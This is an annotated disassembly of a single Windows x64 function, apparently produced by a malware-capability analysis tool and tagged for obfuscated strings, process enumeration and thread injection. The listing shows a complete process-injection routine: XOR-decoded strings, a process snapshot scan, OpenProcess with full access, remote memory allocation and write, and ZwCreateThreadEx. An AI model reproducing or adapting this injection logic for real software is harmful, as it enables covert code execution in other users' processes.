Function at 0x14003c070
Capabilities:
Contain obfuscated stackstrings
Create thread
Enumerate processes
Inject thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2b0]
sub rsp, 0x3b0
movaps xmmword [rsp + 0x3a0], xmm6
mov rax, qword [0x140120140]
xor rax, rsp
mov qword [rbp + 0x290], rax
mov r13, rdx
mov rbx, rcx
mov qword [rbp - 0x80], rcx
mov qword [rbp + 0x110], rdx
mov dword [rbp - 0x70], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp]
call fcn.1400b0170
mov rdx, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x14003c0de
mov rdx, qword [rbx]
lea rcx, [rbp]
call fcn.140044720
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x10], 6
jne 0x14003cf9e
mov rdx, r13
cmp qword [r13 + 0x18], 0x10
jb 0x14003c12e
mov rdx, qword [r13]
mov r8, qword [r13 + 0x10]
lea rcx, [rbp]
call fcn.140043f70
lea rcx, [rbp + 8]
call fcn.140044cd0
mov ebx, 2
test rax, rax
jne 0x14003c179
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
mov eax, 6
cmp qword [rbp + rcx + 0x48], 0
cmovne eax, ebx
or eax, dword [rbp + rcx + 0x10]
and eax, 0x17
mov dword [rbp + rcx + 0x10], eax
and eax, dword [rbp + rcx + 0x14]
jne 0x14003d189
movdqa xmm0, xmmword [0x14010c210]
mov dword [rbp - 0x50], 0x3c121212
movups xmmword [rbp + 0x120], xmm0
mov eax, dword [rbp - 0x50]
mov dword [rbp + 0x130], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov dword [rbp - 0x70], 0x100
mov byte [rsp + 0x20], 0
mov r9d, reloc.WS2_32.dll_sendto
xor r8d, r8d
mov edx, r9d
lea rcx, [rsp + 0x60]
call fcn.140032670
xor ecx, ecx
cmp rcx, 0x14
jae 0x14003d263
movzx edx, byte [rbp + rcx + 0x120]
xor dl, 0x3c
cmp qword [rsp + 0x70], rcx
jbe 0x14003d25d
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, qword [rsp + 0x60]
mov byte [rax + rcx], dl
inc rcx
cmp rcx, 0x14
jl 0x14003c1df
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rdx, qword [rsp + 0x60]
mov r12, 0xffffffffffffffff
mov r8, r12
inc r8
cmp byte [rdx + r8], 0
jne 0x14003c233
lea rcx, [0x140147628]
call fcn.140044ed0
xor r14d, r14d
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14003c289
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c284
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d269
call fcn.1400ab620
xor edi, edi
mov dword [rbp - 0x18], edi
nop
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r15, rax
mov dword [rbp + 0x160], pe_nt_image_headers64
lea rdx, [rbp + 0x160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14003c5e6
movdqa xmm6, xmmword [str.zpxmorxnn3xex]
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 0
lea rax, [rbp + 0x18c]
mov r8, r12
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14003c300
lea rdx, [rbp + 0x18c]
lea rcx, [rbp + 0x140]
call fcn.1400324e0
nop
lea rsi, [rbp + 0x140]
mov rbx, qword [rbp + 0x150]
cmp qword [rbp + 0x158], 0x10
jb 0x14003c345
mov rsi, qword [rbp + 0x140]
add rbx, rsi
mov rdi, rsi
jmp 0x14003c356
lea rcx, [rbp + 0x140]
add rbx, rcx
lea rdi, [rbp + 0x140]
cmp rdi, rbx
je 0x14003c373
sub rsi, rdi
nop
movsx ecx, byte [rdi]
call fcn.1400be8fc
mov byte [rsi + rdi], al
inc rdi
cmp rdi, rbx
jne 0x14003c360
movdqa xmmword [rbp - 0x10], xmm6
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x10]
call fcn.140042ca0
mov r9, rax
or r14d, 1
mov dword [rbp - 0x70], r14d
cmp qword [rax + 0x18], 0x10
jb 0x14003c39a
mov r9, qword [rax]
mov rax, r12
nop dword [rax]
inc rax
cmp byte [r9 + rax], 0
jne 0x14003c3a0
lea rcx, [rbp + 0x140]
mov rbx, qword [rbp + 0x158]
cmp rbx, 0x10
cmovae rcx, qword [rbp + 0x140]
mov qword [rsp + 0x20], rax
mov rdx, qword [rbp + 0x150]
call fcn.140046130
cmp rax, 0xffffffffffffffff
jne 0x14003c490
mov dword [rbp - 0x60], 0x6c7d687b
mov dword [rbp - 0x5c], 0x797f736e
mov dword [rbp - 0x58], 0x79326f6f
mov word [rbp - 0x54], 0x7964
movsd xmm0, qword [rbp - 0x60]
movsd qword [rbp + 0x120], xmm0
mov eax, dword [rbp - 0x58]
mov dword [rbp + 0x128], eax
movzx eax, word [rbp - 0x54]
mov word [rbp + 0x12c], ax
mov byte [rbp + 0x12e], 0x1c
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x120]
call fcn.140042c10
mov r9, rax
or r14d, 2
cmp qword [rax + 0x18], 0x10
jb 0x14003c444
mov r9, qword [rax]
mov rax, r12
nop word [rax + rax]
inc rax
cmp byte [r9 + rax], 0
jne 0x14003c450
lea rcx, [rbp + 0x140]
mov rbx, qword [rbp + 0x158]
cmp rbx, 0x10
cmovae rcx, qword [rbp + 0x140]
mov qword [rsp + 0x20], rax
mov rdx, qword [rbp + 0x150]
call fcn.140046130
cmp rax, 0xffffffffffffffff
jne 0x14003c490
xor dil, dil
jmp 0x14003c493
mov dil, 1
test r14b, 2
je 0x14003c4f8
and r14d, 0xfffffffd
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14003c4e1
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c4d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d1d8
call fcn.1400ab620
mov rbx, qword [rbp + 0x158]
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
test r14b, 1
je 0x14003c544
and r14d, 0xfffffffe
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14003c544
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c538
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d1de
call fcn.1400ab620
mov rbx, qword [rbp + 0x158]
test dil, dil
jne 0x14003c59d
cmp rbx, 0x10
jb 0x14003c584
lea rdx, [rbx + 1]
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c57f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d1e4
call fcn.1400ab620
lea rdx, [rbp + 0x160]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x14003c5e1
jmp 0x14003c2d0
mov eax, dword [rbp + 0x168]
mov dword [rbp - 0x18], eax
cmp rbx, 0x10
jb 0x14003c5e1
lea rdx, [rbx + 1]
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c5dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d1e4
call fcn.1400ab620
mov ebx, 2
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rbp - 0x18]
test eax, eax
je 0x14003c290
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
jne 0x14003c707
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.1400438d0
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 4], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
call fcn.1400ad96c
nop
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x14003c6be
inc rdx
mov rcx, qword [r13]
cmp rdx, 0x1000
jb 0x14003c6b9
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003d26f
mov rcx, r8
call fcn.1400ab620
mov qword [r13 + 0x10], 0
xor eax, eax
mov qword [r13 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r13], 0
mov rcx, qword [rbp + 0x290]
xor rcx, rsp
call fcn.1400aad70
mov rbx, qword [rsp + 0x400]
movaps xmm6, xmmword [rsp + 0x3a0]
add rsp, 0x3b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov ecx, 8
call fcn.1400ab2c4
lea rcx, [0x14003af10]
mov qword [rax], rcx
mov qword [rbp + 0x120], rax
bts r14d, 0xa
lea rcx, [rbp - 0x58]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x140047390]
xor edx, edx
xor ecx, ecx
call fcn.1400bf07c
mov qword [rbp - 0x60], rax
test rax, rax
je 0x14003d24b
cmp dword [rbp - 0x58], 0
je 0x14003d1ea
movaps xmm0, xmmword [rbp - 0x60]
movdqa xmmword [rbp + 0x120], xmm0
lea rcx, [rbp + 0x120]
call fcn.1400ae1b4
test eax, eax
jne 0x14003d1f5
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x60], xmm0
cmp byte [0x1401475ba], al
jne 0x14003d0c8
mov dword [rbp + 0x120], 0x80d0a01
mov dword [rbp + 0x124], 0x57551451
mov dword [rbp + 0x128], 0xf0f074d
movsd xmm0, qword [rbp + 0x120]
movsd qword [rbp - 0x10], xmm0
mov eax, dword [rbp + 0x128]
mov dword [rbp - 8], eax
mov byte [rbp - 4], 0x63
mov esi, reloc.WS2_32.dll_listen
mov edi, dword [rbp - 0x18]
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov r9d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x78], r9
mov byte [rsp + 0x60], 0
or r14d, 0x10
mov dword [rbp - 0x70], r14d
mov rax, rsi
mov qword [rsp + 0x70], rax
xor r8d, r8d
mov qword [rsp + 0x60], r8
mov dword [rsp + 0x68], r8d
mov word [rsp + 0x6c], r8w
xor ecx, ecx
nop dword [rax]
cmp rcx, 0xd
jae 0x14003d245
movzx edx, byte [rbp + rcx - 0x10]
xor dl, 0x63
cmp rax, rcx
jbe 0x14003d23f
lea rax, [rsp + 0x60]
cmp r9, 0x10
cmovae rax, r8
mov byte [rax + rcx], dl
inc rcx
cmp rcx, 0xd
jge 0x14003c865
mov r9, qword [rsp + 0x78]
mov rax, qword [rsp + 0x70]
mov r8, qword [rsp + 0x60]
jmp 0x14003c820
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rdx, qword [rsp + 0x60]
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], 0
mov qword [rbp + 0x158], 0
mov r8, r12
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x14003c8a0
lea rcx, [rbp + 0x140]
call fcn.1400324e0
nop
lea rdx, [rbp + 0x140]
mov ecx, edi
call fcn.14003abe0
movzx ebx, al
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x14003c909
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c904
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d1fd
call fcn.1400ab620
and r14d, 0xffffffef
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14003c94a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003c945
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d269
call fcn.1400ab620
test bl, bl
jne 0x14003c95f
cmp byte [0x1401475ba], bl
jne 0x14003d0c8
jmp 0x14003c7e0
mov dword [rbp + 0x120], 0x8070324
mov dword [rbp + 0x124], 0x304190e
mov dword [rbp + 0x128], 0x4343430a
movsd xmm0, qword [rbp + 0x120]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [rbp + 0x128]
mov dword [rbp - 0x58], eax
mov byte [rbp - 0x54], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov r9d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x78], r9
mov byte [rsp + 0x60], 0
or r14d, 0x40
mov dword [rbp - 0x70], r14d
mov rax, rsi
mov qword [rsp + 0x70], rax
xor r8d, r8d
mov qword [rsp + 0x60], r8
mov dword [rsp + 0x68], r8d
mov word [rsp + 0x6c], r8w
xor ecx, ecx
cmp rcx, 0xd
jae 0x14003d239
movzx edx, byte [rbp + rcx - 0x60]
xor dl, 0x6d
cmp rax, rcx
jbe 0x14003d233
lea rax, [rsp + 0x60]
cmp r9, 0x10
cmovae rax, r8
mov byte [rcx + rax], dl
inc rcx
cmp rcx, 0xd
jge 0x14003ca19
mov r9, qword [rsp + 0x78]
mov rax, qword [rsp + 0x70]
mov r8, qword [rsp + 0x60]
jmp 0x14003c9d4
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rdx, qword [rsp + 0x60]
nop word [rax + rax]
inc r12
cmp byte [rdx + r12], 0
jne 0x14003ca30
mov r8, r12
lea rcx, [0x140147628]
call fcn.140044ed0
and r14d, 0xffffffbf
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14003ca8a
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003ca85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d203
call fcn.1400ab620
xor r12d, r12d
mov qword [rbp - 0x18], r12
mov rbx, qword [rbp - 0x80]
lea rdi, [rbx + 0x10]
mov rax, qword [rdi]
inc rax
mov qword [rbp + 0x120], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rbp + 0x120]
xor r8d, r8d
lea rdx, [rbp - 0x18]
mov rcx, r15
call qword [sym.imp.ntdll.dll_ZwAllocateVirtualMemory]
mov r9d, dword [rdi]
inc r9d
cmp qword [rbx + 0x18], 0x10
jb 0x14003cadd
mov rbx, qword [rbx]
mov qword [rsp + 0x20], r12
mov r8, rbx
mov rdx, qword [rbp - 0x18]
mov rcx, r15
call qword [sym.imp.ntdll.dll_ZwWriteVirtualMemory]
mov dword [rbp - 0x80], 0x915020c
mov dword [rbp - 0x7c], 0x55540b02
mov dword [rbp - 0x78], 0xb0b0349
movsd xmm0, qword [rbp - 0x80]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [rbp - 0x78]
mov dword [rbp - 0x58], eax
mov byte [rbp - 0x54], 0x67
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
mov r9d, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x158], r9
mov byte [rbp + 0x140], 0
or r14d, 0x20
mov dword [rbp - 0x70], r14d
mov rax, rsi
mov qword [rbp + 0x150], rax
xor r8d, r8d
mov qword [rbp + 0x140], r8
mov dword [rbp + 0x148], r8d
mov word [rbp + 0x14c], r8w
mov rcx, r12
nop word [rax + rax]
cmp rcx, 0xd
jae 0x14003d22d
movzx edx, byte [rbp + rcx - 0x60]
xor dl, 0x67
cmp rax, rcx
jbe 0x14003d227
lea rax, [rbp + 0x140]
cmp r9, 0x10
cmovae rax, r8
mov byte [rcx + rax], dl
inc rcx
cmp rcx, 0xd
jge 0x14003cbbd
mov r9, qword [rbp + 0x158]
mov rax, qword [rbp + 0x150]
mov r8, qword [rbp + 0x140]
jmp 0x14003cb70
lea rcx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0x10
cmovae rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
and r14d, 0xffffffdf
mov rdx, qword [rbp + 0x158]
cmp rdx, 0x10
jb 0x14003cc22
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003cc1d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d209
call fcn.1400ab620
mov qword [rbp + 0x150], r12
mov qword [rbp + 0x158], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x140], 0
test rbx, rbx
je 0x14003cf2c
mov dword [rbp - 0x80], 0x2e2b2506
mov dword [rbp - 0x7c], 0x38282306
mov dword [rbp - 0x78], 0xb33382b
movsd xmm0, qword [rbp - 0x80]
movsd qword [rbp - 0x60], xmm0
mov eax, dword [rbp - 0x78]
mov dword [rbp - 0x58], eax
mov byte [rbp - 0x54], 0x4a
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov r9d, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x78], r9
mov byte [rsp + 0x60], 0
bts r14d, 7
mov dword [rbp - 0x70], r14d
mov qword [rsp + 0x70], rsi
xor r8d, r8d
mov qword [rsp + 0x60], r8
mov dword [rsp + 0x68], r8d
mov word [rsp + 0x6c], r8w
mov rcx, r12
nop dword [rax]
cmp rcx, 0xd
jae 0x14003d21b
movzx edx, byte [rbp + rcx - 0x60]
xor dl, 0x4a
cmp rsi, rcx
jbe 0x14003d215
lea rax, [rsp + 0x60]
cmp r9, 0x10
cmovae rax, r8
mov byte [rcx + rax], dl
inc rcx
cmp rcx, 0xd
jge 0x14003ccf5
mov r9, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x70]
mov r8, qword [rsp + 0x60]
jmp 0x14003ccb0
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rdx, qword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14003cd4f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003cd4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d20f
call fcn.1400ab620
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
test rbx, rbx
je 0x14003ce7b
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
mov r9, r15
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp - 0x10]
call qword [sym.imp.ntdll.dll_ZwCreateThreadEx]
mov rcx, qword [rbp - 0x10]
test rcx, rcx
je 0x14003ce0c
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r8, qword [rdi]
inc r8
mov r9d, 0x8000
mov rdx, qword [rbp - 0x18]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [0x1401475ba], 1
mov eax, dword [0x14014775c]
inc eax
xorps xmm0, xmm0
movss dword [0x140147764], xmm0
mov dword [0x140147748], eax
jmp 0x14003d0c8
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.1400438d0
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 4], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
call fcn.1400ad96c
nop
jmp 0x14003cee8
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.1400438d0
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 4], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
call fcn.1400ad96c
nop
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x14003cf23
inc rdx
mov rcx, qword [r13]
cmp rdx, 0x1000
jb 0x14003cf1e
mov r8, qword [rcx - 8]
sub rcx, r8
add rdx, 0x27
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003d221
mov rcx, r8
call fcn.1400ab620
mov qword [r13 + 0x10], r12
jmp 0x14003c6c6
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.1400438d0
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 4], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
call fcn.1400ad96c
nop
jmp 0x14003cee8
movdqa xmm0, xmmword [0x14010bf80]
mov dword [rbp - 0x50], 0x2c3f3a37
mov dword [rbp - 0x4c], 0x78787833
movups xmmword [rbp + 0x120], xmm0
movsd xmm0, qword [rbp - 0x50]
movsd qword [rbp + 0x130], xmm0
mov byte [rbp + 0x138], 0x56
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x60], 0
mov dword [rbp - 0x70], 0x200
mov byte [rsp + 0x20], 0
mov r9d, 0x19
xor r8d, r8d
mov edx, r9d
lea rcx, [rsp + 0x60]
call fcn.140032670
xor ecx, ecx
cmp rcx, 0x19
jae 0x14003d183
movzx edx, byte [rbp + rcx + 0x120]
xor dl, 0x56
cmp qword [rsp + 0x70], rcx
jbe 0x14003d17d
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rax, qword [rsp + 0x60]
mov byte [rax + rcx], dl
inc rcx
cmp rcx, 0x19
jl 0x14003d016
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rdx, qword [rsp + 0x60]
mov r12, 0xffffffffffffffff
nop word [rax + rax]
inc r12
cmp byte [rdx + r12], 0
jne 0x14003d070
mov r8, r12
lea rcx, [0x140147628]
call fcn.140044ed0
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14003d0c8
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14003d0c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003d269
call fcn.1400ab620
nop
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 4], edx
lea rcx, [rbp + 8]
call fcn.1400438d0
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx], rax
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx - 4], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
call fcn.1400ad96c
nop
mov rdx, qword [r13 + 0x18]
cmp rdx, 0x10
jb 0x14003d170
inc rdx
mov rcx, qword [r13]
cmp rdx, 0x1000
jb 0x14003d16b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14003d26f
mov rcx, r8
call fcn.1400ab620
mov qword [r13 + 0x10], 0
jmp 0x14003c6c8
call fcn.140032360
int3
call fcn.140032240
nop
test al, 4
je 0x14003d196
lea rbx, str.ios_base::badbit_set
jmp 0x14003d1aa
test bl, al
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rbp - 0x60]
call fcn.140036690
mov r8, rax
mov rdx, rbx
lea rcx, [rbp - 0x40]
call fcn.140036e60
lea rdx, [0x14011d5b0]
lea rcx, [rbp - 0x40]
call fcn.1400af944
nop
call fcn.1400be748
nop
call fcn.1400be748
nop
call fcn.1400be748
nop
mov ecx, 1
call fcn.1400ad3d8
int3
mov ecx, eax
call fcn.1400ad39c
nop
call fcn.1400be748
nop
call fcn.1400be748
int3
call fcn.1400be748
int3
call fcn.1400be748
nop
call fcn.140032360
int3
call fcn.140032240
nop
call fcn.1400be748
nop
call fcn.140032360
int3
call fcn.140032240
nop
call fcn.140032360
int3
call fcn.140032240
nop
call fcn.140032360
int3
call fcn.140032240
nop
mov dword [rbp - 0x58], 0
mov ecx, 6
call fcn.1400ad3d8
nop
call fcn.140032360
int3
call fcn.140032240
nop
call fcn.1400be748
nop
call fcn.1400be748
int3